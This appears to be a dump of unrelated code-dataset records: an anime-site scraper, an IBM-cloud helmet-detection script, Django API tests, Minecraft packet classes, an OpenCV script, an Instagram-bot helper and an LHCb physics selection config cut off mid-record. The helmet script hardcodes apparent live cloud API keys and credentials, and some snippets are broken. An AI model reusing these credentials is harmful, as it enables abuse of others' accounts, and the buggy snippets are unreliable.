self.info_of_anime_2 = info_about_one_url(self.url_on_anime_2)\n if self.url_on_anime_3 != None:\n self.info_of_anime_3 = info_about_one_url(self.url_on_anime_3)\n\n\nclass ParserAnimedubRu(Parser):\n \"\"\"Парсер для сайта https://animedub.ru/\"\"\"\n def search_on_site(self, text:str):\n \"\"\"Поиск значения на сайте\n\n Args:\n text (str): Название аниме\n \"\"\"\n self.text = text\n anidub_post = 'https://animedub.ru/index.php?do=search'\n post = {\n 'do': \"search\",\n 'subaction': \"search\",\n 'story': self.text\n }\n response = requests.post(anidub_post, data=post, headers=header).text\n # Обрабатываем ответ\n self.soup = bs4.BeautifulSoup(response, 'lxml')\n block = self.soup.find('div', id = 'dle-content')\n test_if = str(block)\n if test_if.find(\"По Вашему запросу найдено\") == -1:\n # Отправка сообщения о том, что запрос выстроен неправильно\n return False\n else:\n # Отправка сообщения о том, что запрос правильный\n self.check_count_answers = block.find_all(attrs = {'class':'berrors'})\n self.check_count_answers = str(self.check_count_answers)\n self.check_count_answers = self.check_count_answers[44:-8]\n return True\n\n\nif __name__ == '__main__':\n pass","sub_path":"parser_bot.py","file_name":"parser_bot.py","file_ext":"py","file_size_in_byte":7509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"628433419","text":"import cv2\r\nimport time\r\nimport datetime\r\nimport ibm_boto3\r\nfrom ibm_botocore.client import Config, ClientError\r\nfrom ibmcloudant.cloudant_v1 import CloudantV1\r\nfrom ibmcloudant import CouchDbSessionAuthenticator\r\nfrom ibm_cloud_sdk_core.authenticators import BasicAuthenticator\r\nimport wiotp.sdk.device\r\n# Constants for IBM COS values\r\nCOS_ENDPOINT = \"https://manohar.s3.jp-tok.cloud-object-storage.appdomain.cloud\" # Current list avaiable at https://control.cloud-object-storage.cloud.ibm.com/v2/endpoints\r\nCOS_API_KEY_ID = \"67MBwu0H49L21goGQBII-SufzagQ-j-Lc-1xIRZOyqat\" # eg \"W00YixxxxxxxxxxMB-odB-2ySfTrFBIQQWanc--P3byk\"\r\nCOS_INSTANCE_CRN = \"crn:v1:bluemix:public:cloud-object-storage:global:a/94a9058de7634a75b86a721e2524a404:9eaeda1b-4ff4-4fa1-94a8-9917e79c2fc3::\"\r\n\r\n# Create resource\r\ncos = ibm_boto3.resource(\"s3\",\r\n ibm_api_key_id=COS_API_KEY_ID,\r\n ibm_service_instance_id=COS_INSTANCE_CRN,\r\n config=Config(signature_version=\"oauth\"),\r\n endpoint_url=COS_ENDPOINT\r\n)\r\n\r\nauthenticator = BasicAuthenticator('apikey-v2-2y8twpk3cni02ngsc297oqatoulogdt961768upuw79q', '43c3fef46c4ca6560b7359d05c4c3d57')\r\nservice = CloudantV1(authenticator=authenticator)\r\nservice.set_service_url('https://apikey-v2-2y8twpk3cni02ngsc297oqatoulogdt961768upuw79q:43c3fef46c4ca6560b7359d05c4c3d57@7b88ba8a-383b-49c5-ba00-9a03115de98a-bluemix.cloudantnosqldb.appdomain.cloud')\r\n\r\ndef myCommandCallback(cmd):\r\n print(\"Command received: %s\" % cmd.data)\r\n\r\n\r\nmyConfig = { \r\n \"identity\": {\r\n \"orgId\": \"sn7dm1\",\r\n \"typeId\": \"ESP32\",\r\n \"deviceId\": \"1234599\"\r\n },\r\n \"auth\": {\r\n \"token\": \"9390569334\"\r\n }\r\n}\r\nclient = wiotp.sdk.device.DeviceClient(config=myConfig, logHandlers=None)\r\nclient.connect()\r\n\r\nbucket = \"manohar\"\r\ndef multi_part_upload(bucket_name, item_name, file_path):\r\n try:\r\n print(\"Starting file transfer for {0} to bucket: {1}\\n\".format(item_name, bucket_name))\r\n # set 5 MB chunks\r\n part_size = 1024 * 1024 * 5\r\n\r\n # set threadhold to 15 MB\r\n file_threshold = 1024 * 1024 * 15\r\n\r\n # set the transfer threshold and chunk size\r\n transfer_config = ibm_boto3.s3.transfer.TransferConfig(\r\n multipart_threshold=file_threshold,\r\n multipart_chunksize=part_size\r\n )\r\n\r\n # the upload_fileobj method will automatically execute a multi-part upload\r\n # in 5 MB chunks for all files over 15 MB\r\n with open(file_path, \"rb\") as file_data:\r\n cos.Object(bucket_name, item_name).upload_fileobj(\r\n Fileobj=file_data,\r\n Config=transfer_config\r\n )\r\n\r\n print(\"Transfer for {0} Complete!\\n\".format(item_name))\r\n except ClientError as be:\r\n print(\"CLIENT ERROR: {0}\\n\".format(be))\r\n except Exception as e:\r\n print(\"Unable to complete multi-part upload: {0}\".format(e))\r\n\r\nimport numpy as np\r\nimport cv2\r\nfrom clarifai_grpc.channel.clarifai_channel import ClarifaiChannel\r\nfrom clarifai_grpc.grpc.api import service_pb2_grpc\r\nstub = service_pb2_grpc.V2Stub(ClarifaiChannel.get_grpc_channel())\r\nfrom clarifai_grpc.grpc.api import service_pb2, resources_pb2\r\nfrom clarifai_grpc.grpc.api.status import status_code_pb2\r\n# This is how you authenticate.\r\nmetadata = (('authorization', 'Key 3d106b4dd8784d8786a4adde81b87fa9'),)\r\n\r\ncap = cv2.VideoCapture('worker.mp4')\r\nif(cap.isOpened()==True):\r\n print('File opened')\r\nelse:\r\n print('File not found')\r\n\r\nwhile(cap.isOpened()):\r\n ret, frame = cap.read()\r\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n imS = cv2.resize(frame, (960, 540))\r\n cv2.imwrite('ex.jpg',imS)\r\n with open(\"ex.jpg\", \"rb\") as f:\r\n file_bytes = f.read() \r\n # This is the model ID of a publicly available General model. You may use any other public or custom model ID.\t\r\n request = service_pb2.PostModelOutputsRequest(\r\n model_id='aaa03c23b3724a16a56b629203edc62c',\r\n inputs=[resources_pb2.Input(data=resources_pb2.Data(image=resources_pb2.Image(base64=file_bytes))\r\n )])\r\n response = stub.PostModelOutputs(request, metadata=metadata)\r\n if response.status.code != status_code_pb2.SUCCESS:\r\n raise Exception(\"Request failed, status code: \" + str(response.status.code))\r\n print(response)\r\n for concept in response.outputs[0].data.concepts:\r\n print('%12s: %.2f' % (concept.name, concept.value))\r\n if(concept.value>0.86):\r\n print(concept.name)\r\n if(concept.name == \"safety\"):\r\n from ibm_watson import TextToSpeechV1\r\n from ibm_cloud_sdk_core.authenticators import IAMAuthenticator\r\n from playsound import playsound\r\n authenticator = IAMAuthenticator('y4D8ClOFi_1fJU3ezHwn_If6lgsEg0C_1vL4JGsV9tgo')\r\n text_to_speech = TextToSpeechV1(\r\n authenticator=authenticator\r\n )\r\n\r\n text_to_speech.set_service_url('https://api.eu-gb.text-to-speech.watson.cloud.ibm.com/instances/40fb53ff-417c-4fc4-890e-d637562a3890')\r\n with open('acess.mp3', 'wb') as audio_file:\r\n audio_file.write(\r\n text_to_speech.synthesize(\r\n 'you can enter.',\r\n voice='en-US_AllisonV3Voice',\r\n accept='audio/mp3' \r\n ).get_result().content)\r\n playsound('acess.mp3')\r\n else:\r\n from ibm_watson import TextToSpeechV1\r\n from ibm_cloud_sdk_core.authenticators import IAMAuthenticator\r\n from playsound import playsound\r\n authenticator = IAMAuthenticator('y4D8ClOFi_1fJU3ezHwn_If6lgsEg0C_1vL4JGsV9tgo')\r\n text_to_speech = TextToSpeechV1(\r\n authenticator=authenticator\r\n )\r\n\r\n text_to_speech.set_service_url('https://api.eu-gb.text-to-speech.watson.cloud.ibm.com/instances/40fb53ff-417c-4fc4-890e-d637562a3890')\r\n with open('alert.mp3', 'wb') as audio_file:\r\n audio_file.write(\r\n text_to_speech.synthesize(\r\n 'access denied please keep helmet.',\r\n voice='en-US_AllisonV3Voice',\r\n accept='audio/mp3' \r\n ).get_result().content)\r\n playsound('alert.mp3')\r\n cv2.imshow('frame',imS)\r\n \r\n\r\n \r\n #drawing rectangle boundries for the detected face\r\n for(x,y,w,h) in faces:\r\n print(x,y,w,h)\r\n print(type(x+h/2))\r\n detect = True\r\n cv2.circle(frame, (int(x+h/2),int(y+w/2)), int(w/2), (0,0,255), 2)\r\n cv2.imshow('Face detection', frame)\r\n picname=datetime.datetime.now().strftime(\"%y-%m-%d-%H-%M\")\r\n cv2.imwrite(picname+\".jpg\",frame)\r\n multi_part_upload(bucket, picname+'.jpg', picname+'.jpg')\r\n json_document={\"link\":COS_ENDPOINT+'/'+bucket+'/'+picname+'.jpg'}\r\n response = service.post_document(db=\"access\", document=json_document).get_result()\r\n print(response)\r\n \r\n \r\n\r\n myData={'Face_detect': detect}\r\n client.publishEvent(eventId=\"status\", msgFormat=\"json\", data=myData, qos=0, onPublish=None)\r\n print(\"Data published to IBM IoT platfrom: \",myData)\r\n client.commandCallback = myCommandCallback\r\n time.sleep(2)\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n\r\n\r\n","sub_path":"Final.py","file_name":"Final.py","file_ext":"py","file_size_in_byte":7526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"319161310","text":"from django.test import TestCase\n\nimport requests\nimport json\nBASE_URL='http://127.0.0.1:8000/'\nENDPOINT='api/'\n\n\n\n\"\"\"\ndef get_resources(id=None):\n data={}\n if id is not None:\n data={\n 'id':id\n }\n resp=requests.get(BASE_URL+ENDPOINT,data=json.dumps(data))\n print(resp.status_code)\n print(resp.json())\nget_resources(3)\n\n\"\"\"\n\"\"\"\ndef create_resource():\n new_std={\n 'name':'aloo',\n 'rollno':107,\n 'marks':95,\n 'gf':'Priya',\n 'bf':'Ye Ra'\n }\n r=requests.post(BASE_URL+ENDPOINT,data=json.dumps(new_std))\n print(r.status_code)\n #print(r.text)\n print(r.json())\ncreate_resource()\n\n\"\"\"\n\ndef update_resource():\n new_data={\n 'id':id,\n 'gf':'karolina',\n }\n r = requests.put(BASE_URL + ENDPOINT, data=json.dumps(new_data))\n print(r.status_code)\n # print(r.text)\n print(r.json())\n\n\nupdate_resource(4)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"401841557","text":"from minecraft.networking.packets import (\n Packet, AbstractKeepAlivePacket, AbstractPluginMessagePacket\n)\n\nfrom minecraft.networking.types import (\n Double, Float, Boolean, VarInt, String, Byte, Position, Enum,\n RelativeHand, BlockFace, Vector, Direction, PositionAndLook,\n multi_attribute_alias, Slot, UnsignedByte, Short\n)\n\nclass DiggingPacket(Packet):\n @staticmethod\n def get_id(context):\n return 0x14\n\n packet_name = \"digging\"\n definition = [\n {'status': VarInt},\n {'location' : Position},\n {'face': Byte}]\n\nclass ClickWindowPacket(Packet):\n @staticmethod\n def get_id(context):\n return 0x07\n packet_name = 'click window'\n\n definition = [\n {'window_id' : UnsignedByte},\n {'slot' : Short},\n {'button' : Byte},\n {'action_number' : Short},\n {'mode' : VarInt},\n {'clicked_item' : Slot}\n ] \n\nclass ConfirmTransactionPacket(Packet):\n @staticmethod\n def get_id(context):\n return 0x05\n\n packet_name = 'confirm transaction sb'\n definition = [\n {'window_id' : Byte},\n {'action_number' : Short},\n {'accepted' : Boolean}\n ]\n\nclass HeldItemChangePacket(Packet):\n @staticmethod\n def get_id(context):\n return 0x1A\n \n packet_name = 'held item change sb'\n definition = [\n {'slot' : Short}\n ]\n\nclass PlayerBlockPlacementPacket(Packet):\n @staticmethod\n def get_id(context):\n return 0x1F\n \n packet_name = 'player block placement'\n definition = [\n {'location' : Position},\n {'face' : VarInt},\n {'hand' : VarInt},\n {'cursor_x' : Float},\n {'cursor_y' : Float},\n {'cursor_z' : Float},\n ]","sub_path":"packets/serverbound/play/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"448561521","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\nimport os\nimport math\nfrom decimal import *\ngetcontext().prec = 1000\n\n# --------------------------------------------\n\ndef Detect_features( img, to_dir, jpg_name ) :\n\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n img2 = hsv\n img3 = hsv\n\n hue = hsv[:, :, 0]\n sat = hsv[:, :, 1]\n val = hsv[:, :, 2]\n\n cutoff = 130\n\n c1 = np.empty(hue.shape)\n c1.fill(255 - float(cutoff*255/180))\n c2 = np.empty(hue.shape)\n c2.fill(255)\n\n hue = float(255/180)*hue\n hue[hue <= float(cutoff*255/180)] = hue[hue <= float(cutoff*255/180)] + c1[hue <= float(cutoff*255/180)]\n hue[hue > float(cutoff*255/180)] = c2[hue > float(cutoff*255/180)] - hue[hue > float(cutoff*255/180)]\n\n reduce_col = Reduce_colors( hue, 20 )\n edges = cv2.Canny(reduce_col, 2*30, 4*30)\n # kernel = np.ones((2, 2), np.uint8)\n kernel = np.ones((4, 4), np.uint8)\n dilation = cv2.dilate(edges, kernel, iterations = 1)\n\n mask = dilation\n mask_inv = cv2.bitwise_not(mask)\n hue_edge = cv2.bitwise_and(img, img, mask = mask_inv)\n\n # find contours in the threshold image\n # contours, hierarchy = cv2.findContours(mask_inv, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_NONE)\n contours, hierarchy = cv2.findContours(mask, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_NONE)\n\n # red\n cv2.drawContours(img, contours, -1, (0, 0, 254), -1)\n\n # finding contour with maximum area and store it as best_cnt\n max_area = 0\n areas = []\n\n if_best_cnt = False\n\n for i in range(0, len(contours)):\n\n cnt = contours[i]\n\n if hierarchy[0][i][3] >= 0 or True:\n # has parent contour\n # if hierarchy[0][i][3] >= 0:\n\n area = cv2.contourArea(cnt)\n areas.append(area)\n # green\n cv2.drawContours(img, [cnt], -1, (0, 254, 0), -1)\n\n if area > max_area:\n max_area = area\n best_cnt = cnt\n\n if_best_cnt = True\n\n # blue\n if if_best_cnt == True:\n cv2.drawContours(img, [best_cnt], -1, (254, 0, 0), -1)\n \n max_area = str(int(float(max_area))).zfill(10)\n\n count = 4\n\n # img = cv2.cvtColor(img, cv2.COLOR_HSV2BGR)\n img2 = cv2.cvtColor(img2, cv2.COLOR_HSV2BGR)\n img3 = cv2.cvtColor(img3, cv2.COLOR_HSV2BGR)\n\n img_o = cv2.addWeighted(img, (Decimal(1)/Decimal(count))\n , img2, Decimal(1) - (Decimal(1)/Decimal(count)), 0)\n\n os.chdir(to_dir)\n # cv2.imwrite(max_area + jpg_name + '01' + '.jpg', reduce_col)\n # cv2.imwrite(max_area + jpg_name + '02' + '.jpg', img_o)\n # cv2.imwrite(max_area + jpg_name + '03' + '.jpg', edges)\n # cv2.imwrite(max_area + jpg_name + '04' + '.jpg', mask)\n # cv2.imwrite(max_area + jpg_name + '05' + '.jpg', dilation)\n # cv2.imwrite(max_area + jpg_name + '06' + '.jpg', hue_edge)\n # cv2.imwrite(max_area + jpg_name + '07' + '.jpg', mask_inv)\n\n return areas\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Detect_features.py","file_name":"Detect_features.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"110206204","text":"import logging\n\nfrom colorama import Fore\nfrom GramAddict.core.views import TabBarView\n\nlogger = logging.getLogger(__name__)\n\n\ndef switch_to_english(device):\n logger.info(\"Switching to English locale\", extra={\"color\": f\"{Fore.GREEN}\"})\n profile_view = TabBarView(device).navigateToProfile()\n logger.info(\"Changing language in settings\")\n\n options_view = profile_view.navigateToOptions()\n settingts_view = options_view.navigateToSettings()\n account_view = settingts_view.navigateToAccount()\n language_view = account_view.navigateToLanguage()\n language_view.setLanguage(\"english\")\n","sub_path":"GramAddict/core/navigation.py","file_name":"navigation.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"482650762","text":"# $Id: StrippingB2D3H.py,v 1.6 2011/02/21 sblusk bmaynard\n\"\"\"\nDaVinci v27r1\nModule for construction of B->D+3H Stripping Selections and StrippingLines.\nProvides functions to build 3H Final states in PiPiPi and KPiPi.\nD candidates are filtered from StdLooseD02HH and StdLooseDplus2XXX.\nProvides class B2D3HAllLinesConf, which constructs the Selections and\nStrippingLines given a configuration dictionary.\nExported symbols (use python help!):\n - StrippngB2D3HConf\n - makeD0Meson\n - makeDMeson\n - makeLambdaC\n - makeDStarMeson\n - makeA12PiPiPi\n - makeK12KPiPi\n - makeK12KPPbarh\n - makePions\n - makeKaons\n - StrippingB2D3HLoose\n - StrippingB2D3HNominal\n\"\"\"\n\n\n__author__ = ['Steven Blusk', 'Brian Maynard']\n__date__ = '26/07/2010'\n__version__ = '$Revision: 1.6 $'\n\n\n__all__ = ('B2D3HAllLinesConf',\n 'makeB2D3H',\n 'makeD0Meson',\n 'makeDMeson',\n 'makeLambdaC',\n 'makeDStarMeson',\n 'makeA12PiPiPi',\n 'makeK12KPiPi',\n 'makePPbarh',\n 'makePions',\n 'makeKaons',\n )\n\nconfdict = {\n \"PionMinP\" : 2000.,\n \"PionMaxP\" : 500000.,\n \"PionMinPT\" : 250.,\n \"PionMinPTtight\" : 500.,\n \"PionMinIPChisq\" : 6.25,\n \"PionPiDDLL\" : 12,\n \"KaonMinP\" : 2000.,\n \"KaonMaxP\" : 500000.,\n \"KaonMinPT\" : 250.,\n \"KaonMinPTtight\" : 500.,\n \"KaonMinIPChisq\" : 6.25,\n \"KaonPiDDLL\" : -5,\n \"ProtonMinP\" : 2000.,\n \"ProtonMaxP\" : 500000.,\n \"ProtonMinPT\" : 250.,\n \"ProtonMinIPChisq\" : 6.25,\n \"ProtonPiDDLL\" : -5,\n \"MinPT\" : 300.,\n \"TrkChisq\" : 4.0,\n \"TrkChisqtight\" : 4.0,\n \"Bach3HMassWindow\" : 3000,\n \"Bach3HDocaMax\" : 0.35,\n \"Bach3HVtxChisq\" : 8.0,\n \"Bach3HMinPT\" : 1000.0,\n \"Bach3HIP2PV\" : 0.0,\n \"Bach3HIPChisq2PV\" : 9.0,\n \"Bach3HVtxSepChisq\" : 36.0,\n \"Bach3HDiraPV\" : 0.98,\n \"Bach3HZVtxSep\" : 0.0,\n \"Bach3HDRPV\" : 0.1,\n \"DMinPT\" : 1250,\n \"DVtxChisq\" : 8.0,\n \"DMassWindow\" : 70,\n \"D0MassWindow\" : 70,\n \"DsMassWindow\" : 70,\n \"tightDMassWindow\" : 40,\n \"DDocaMax\" : 0.35,\n \"DIP2PV\" : 0.0,\n \"DIPChisq2PV\" : 4.0,\n \"DVtxSepChisq\" : 49.0,\n \"DDiraPV\" : 0.98,\n \"DZVtxSep\" : 0.0,\n \"DDRPV\" : 0.1,\n \"DStarMassWindow\" : 50,\n \"DStarMinPT\" : 1000,\n \"BMinPT\" : 0.0,\n \"BVtxChisq\" : 8.0, #was 6.0\n \"BMassWindow\" : 300,\n \"tightBMassWindow\" : 300,\n \"BIP2PV\" : 0.15,\n \"BIPChisq2PV\" : 16.0,\n \"BVtxSepChisq\" : 25.0,\n \"BDiraPV\" : 0.99994,\n \"BZVtxSep\" : 0.0,\n \"BDZVtxSep\" : -1.0,\n \"BDRPV\" : 0.1,\n \"MaxTracks\" : 300,\n \"B2D0PiPiPiAll_Prescale\" : 1.0,\n \"B2D0PiPiPiAll_Postscale\" : 1.0,\n \"B2DPiPiPiAll_Prescale\" : 1.0,\n \"B2DPiPiPiAll_Postscale\" : 1.0,\n \"B2DStarPiPiPiAll_Prescale\" : 1.0,\n \"B2DStarPiPiPiAll_Postscale\" : 1.0,\n \"B2D0KPiPiAll_Prescale\" : 1.0,\n \"B2D0KPiPiAll_Postscale\" : 1.0,\n \"B2DKPiPiAll_Prescale\" : 1.0,\n \"B2DKPiPiAll_Postscale\" : 1.0,\n \"B2DStarKPiPiAll_Prescale\" : 1.0,\n \"B2DStarKPiPiAll_Postscale\" : 1.0,\n \"B2DDAll_Prescale\" : 1.0,\n \"B2DDAll_Postscale\" : 1.0,\n \"B2DStarDAll_Prescale\" : 1.0,\n \"B2DStarDAll_Postscale\" : 1.0,\n \"UnbiasedB2DPiPiPiAll_Prescale\" : 0.15,\n \"UnbiasedB2DPiPiPiAll_Postscale\" : 1.0,\n \"WSB2D3H_Prescale\" : 0.1,\n \"WSB2D3H_Postscale\" : 1.0,\n \"B2DStarDKAll_Prescale\" : 1.0,\n \"B2DStarDKAll_Postscale\" : 1.0\n }\n\n\"\"\"\nB->D+3H channels\n\"\"\"\nfrom StrippingConf.StrippingStream import StrippingStream\nfrom Configurables import FilterDesktop, CombineParticles\nfrom StrippingConf.StrippingLine import StrippingLine\n#from StrippingSelections.Utils import checkConfig\nfrom PhysSelPython.Wrappers import Selection, DataOnDemand, MergedSelection\nfrom copy import copy\nfrom StrippingUtils.Utils import LineBuilder, checkConfig #ADDED LINE\nfrom CommonParticles import StdLoosePions, StdLooseKaons, StdLooseProtons, StdLooseDplus\n\n\nclass B2D3HAllLinesConf( LineBuilder ): #ADDED LINE (CHANGED OBJECT TO LINEBUILDER)\n\n \"\"\"\n Builder of B-->D+3H stripping Selection and StrippingLine.\n Constructs B-->D+3H Selections and StrippingLines from a configuration dictionary.\n Usage:\n >>> config = { .... }\n >>> b2d3h = StrippingB2D3HConf('NameOfSelection',config)\n >>> bLines = b2d3h.lines\n >>> for line in bLines :\n >>> print line.name(), line.outputLocation()\n The lines can be used directly to build a StrippingStream object.\n\n Exports as instance data members:\n selPions : selected Pions for the 3H bachelor\n selKaons : selected Kaons for the 3H bachelor\n selPiPiPi : selected PiPiPi bachelor\n selKPiPi : selected KPiPi bachelor\n selDch : selected D+ -->K-Pi+Pi+, K+K-Pi+, Pi+Pi-Pi+ and Ds+ -->K+K-Pi+, K+Pi-Pi+, Pi+Pi-Pi+\n selD0 : selected D0 --> KK, KPi, and PiPi\n selDStar : selected D*+, with D0 --> KK, KPi, KPiPi\n B2D0PiPiPi : Selected B+ -->D0+PiPiPi\n B2D0KPiPi : Selected B+ -->D0+KPiPi\n B2DPiPiPi : Selected B0/Bs -->D+PiPiPi, Ds+PiPiPi\n B2DKPiPi : Selected B0/Bs -->Ds+KPiPi, Ds+KPiPi\n lines : List of lines [B2D0PiPiPi, B2D0KPiPi, B2DPiPiPi, B2DKPiPi]\n\n A number of prescale & postscale factors are included for maximum flexibility [# prescale/postscales]\n -----------------------------------------------------------------------------\n B2D0hhhAll_Prescale, Postscale = Prescale/postscale for B+ -->D0 hhh, hhh=PiPiPi or KPiPi, full mass region. [4]\n B2DhhhAll_Prescale, Postscale = Prescale/postscale for B 0/Bs-->D+/Ds hhh, hhh=PiPiPi or KPiPi, full mass region. [8]\n B2DStarhhhAll_Prescale, Postscale = Prescale/postscale for B0 -->D*+ hhh, hhh=PiPiPi or KPiPi, full mass region. [4]\n\n --> Ordered preference for reducing timing/retentions\n [1] If needed one should prescale the \"B2DxxxxAll\" prescale/postscale factors, say to 0.2 or 0.1 (needed for SideBand subtraction, background studies, etc)\n [2] Reduce MaxTracks, keep value at least at 100 Long tracks (S/B will degrade at high #Long tracks)\n [3] Reduce DMassWindow to 30 MeV (this will selecton only B-->D+ (hhh) in the D signal region (don't reduce D0MassWindow or DsMassWindow)\n [4] hhh/D/B Vertex separation chisquare can be increased if absolutely necessary to 49.\n [5] Set DDocaMax to 0.3 mm\n [6] Set BMinPT to 2 GeV\n\n Exports as class data member:\n StrippingB2D3HConf.__configuration_keys__ : List of required configuration parameters.\n \"\"\"\n\n __configuration_keys__ = (\"PionMinP\",\n \"PionMaxP\",\n \"PionMinPT\",\n \"PionMinPTtight\",\n \"PionPiDDLL\",\n \"KaonMinP\" ,\n \"PionMinIPChisq\",\n \"KaonMaxP\" ,\n \"KaonMinPT\",\n \"KaonMinPTtight\",\n \"KaonMinIPChisq\",\n \"KaonPiDDLL\",\n \"ProtonMinP\" ,\n \"ProtonMaxP\" ,\n \"ProtonMinPT\",\n \"ProtonMinIPChisq\",\n \"ProtonPiDDLL\",\n \"MinPT\",\n \"TrkChisq\",\n \"TrkChisqtight\",\n \"Bach3HMassWindow\",\n \"Bach3HDocaMax\",\n \"Bach3HVtxChisq\",\n \"Bach3HMinPT\",\n \"Bach3HIP2PV\",\n \"Bach3HIPChisq2PV\",\n \"Bach3HVtxSepChisq\",\n \"Bach3HDiraPV\",\n \"Bach3HZVtxSep\",\n \"Bach3HDRPV\",\n \"DMinPT\",\n \"DVtxChisq\",\n \"DMassWindow\",\n \"D0MassWindow\",\n \"DsMassWindow\",\n \"tightDMassWindow\",\n \"DDocaMax\",\n \"DIP2PV\",\n \"DIPChisq2PV\",\n \"DVtxSepChisq\",\n \"DDiraPV\",\n \"DZVtxSep\",\n \"DDRPV\",\n \"DStarMassWindow\",\n \"DStarMinPT\",\n \"BMinPT\",\n \"BVtxChisq\",\n \"BMassWindow\",\n \"tightBMassWindow\",\n \"BIP2PV\",\n \"BIPChisq2PV\",\n \"BVtxSepChisq\",\n \"BDiraPV\",\n \"BZVtxSep\",\n \"BDZVtxSep\",\n \"BDRPV\",\n \"MaxTracks\",\n \"B2D0PiPiPiAll_Prescale\",\n \"B2D0PiPiPiAll_Postscale\",\n \"B2DPiPiPiAll_Prescale\",\n \"B2DPiPiPiAll_Postscale\",\n \"B2DStarPiPiPiAll_Prescale\",\n \"B2DStarPiPiPiAll_Postscale\",\n \"B2D0KPiPiAll_Prescale\",\n \"B2D0KPiPiAll_Postscale\",\n \"B2DKPiPiAll_Prescale\",\n \"B2DKPiPiAll_Postscale\",\n \"B2DStarKPiPiAll_Prescale\",\n \"B2DStarKPiPiAll_Postscale\",\n \"B2DDAll_Prescale\",\n \"B2DDAll_Postscale\",\n \"B2DStarDAll_Prescale\",\n \"B2DStarDAll_Postscale\",\n \"UnbiasedB2DPiPiPiAll_Prescale\",\n \"UnbiasedB2DPiPiPiAll_Postscale\",\n \"WSB2D3H_Prescale\",\n \"WSB2D3H_Postscale\",\n \"B2DStarDKAll_Prescale\",\n \"B2DStarDKAll_Postscale\"\n )\n\n\n def __init__(self,\n name = 'Loose',\n config = None) :\n\n LineBuilder.__init__(self, name, config) #ADDED LINE\n\n checkConfig(B2D3HAllLinesConf.__configuration_keys__, config)\n\n# Use FILTER agrument of StrippingLine instead of VoidFilter - A. Poluektov\n\n# self.EventFilter = MyEventFilter('B2D3H'+name,\n# MaxTracks = config['MaxTracks'])\n\n from Configurables import LoKi__VoidFilter as VoidFilter\n from Configurables import LoKi__Hybrid__CoreFactory as CoreFactory\n #modules = CoreFactory('CoreFactory').Modules\n #for i in ['LoKiTracks.decorators']:\n # if i not in modules : modules.append(i)\n self.EventFilter = { 'Code': \"(recSummaryTrack(LHCb.RecSummary.nLongTracks, TrLONG) < %s )\" % config['MaxTracks'],\n 'Preambulo' : [\"from LoKiTracks.decorators import *\"]\n }\n\n # First filter pions\n self.selPions = makePions( 'PionsForB2D3H'+name,\n PionMinP = config['PionMinP'],\n PionMaxP = config['PionMaxP'],\n PionMinPT = config['PionMinPT'],\n PionMinIPChisq = config['PionMinIPChisq'],\n PionPiDDLL = config['PionPiDDLL'],\n TrkChisq = config['TrkChisq'])\n # First filter kaons\n self.selKaons = makeKaons( 'KaonsForB2D3H'+name,\n KaonMinP = config['KaonMinP'],\n KaonMaxP = config['KaonMaxP'],\n KaonMinPT = config['KaonMinPT'],\n KaonMinIPChisq = config['KaonMinIPChisq'],\n TrkChisq = config['TrkChisq'])\n\n self.selProtons = makeProtons( 'ProtonsForB2D3H'+name,\n ProtonMinP = config['ProtonMinP'],\n ProtonMaxP = config['ProtonMaxP'],\n ProtonMinPT = config['ProtonMinPT'],\n ProtonMinIPChisq = config['ProtonMinIPChisq'],\n TrkChisq = config['TrkChisq'])\n\n\t#Filter Pions and Kaons with tighter PID cuts\n\t# First filter pions\n self.selTightPions = makeTightPions( 'TightPionsForB2D3H'+name,\n PionMinP = config['PionMinP'],\n PionMaxP = config['PionMaxP'],\n PionMinPT = config['PionMinPT'],\n PionMinIPChisq = config['PionMinIPChisq'],\n TrkChisq = config['TrkChisq'])\n # First filter kaons\n self.selTightKaons = makeTightKaons( 'TightKaonsForB2D3H'+name,\n KaonMinP = config['KaonMinP'],\n KaonMaxP = config['KaonMaxP'],\n KaonMinPT = config['KaonMinPT'],\n KaonMinIPChisq = config['KaonMinIPChisq'],\n TrkChisq = config['TrkChisq'])\n\n\t# Filter Pions and Kaons with higher PT/Chi2 cut and without IP\n # First filter pions\n self.selUnbiasedPions = makePions( 'UnbiasedPionsForB2D3H'+name,\n PionMinP = config['PionMinP'],\n PionMaxP = config['PionMaxP'],\n PionMinPT = config['PionMinPTtight'],\n PionMinIPChisq = 0, #should never change\n PionPiDDLL = 100000.0,\n TrkChisq = config['TrkChisqtight'])\n # First filter kaons\n self.selUnbiasedKaons = makeKaons( 'UnbiasedKaonsForB2D3H'+name,\n KaonMinP = config['KaonMinP'],\n KaonMaxP = config['KaonMaxP'],\n KaonMinPT = config['KaonMinPTtight'],\n KaonMinIPChisq = 0, #should never change\n TrkChisq = config['TrkChisqtight'])\n\n # Now make the LT unbiased PiPiPi bachelor\n self.selUnbiasedPiPiPi = makePiPiPi( 'UnbiasedPiPiPiForB2D3H'+name,\n pionSel = self.selUnbiasedPions,\n MinPT = config['MinPT'],\n Bach3HMassWindow = 1650.0,\n Bach3HDocaMax = config['Bach3HDocaMax'],\n Bach3HMinPT = config['Bach3HMinPT'],\n Bach3HIP2PV = 0, #should never change\n Bach3HIPChisq2PV = 0, #should never change\n Bach3HVtxChisq = config['Bach3HVtxChisq'],\n Bach3HVtxSepChisq = config['Bach3HVtxSepChisq'],\n Bach3HDiraPV = config['Bach3HDiraPV'],\n Bach3HZVtxSep = config['Bach3HZVtxSep'],\n Bach3HDRPV = 0 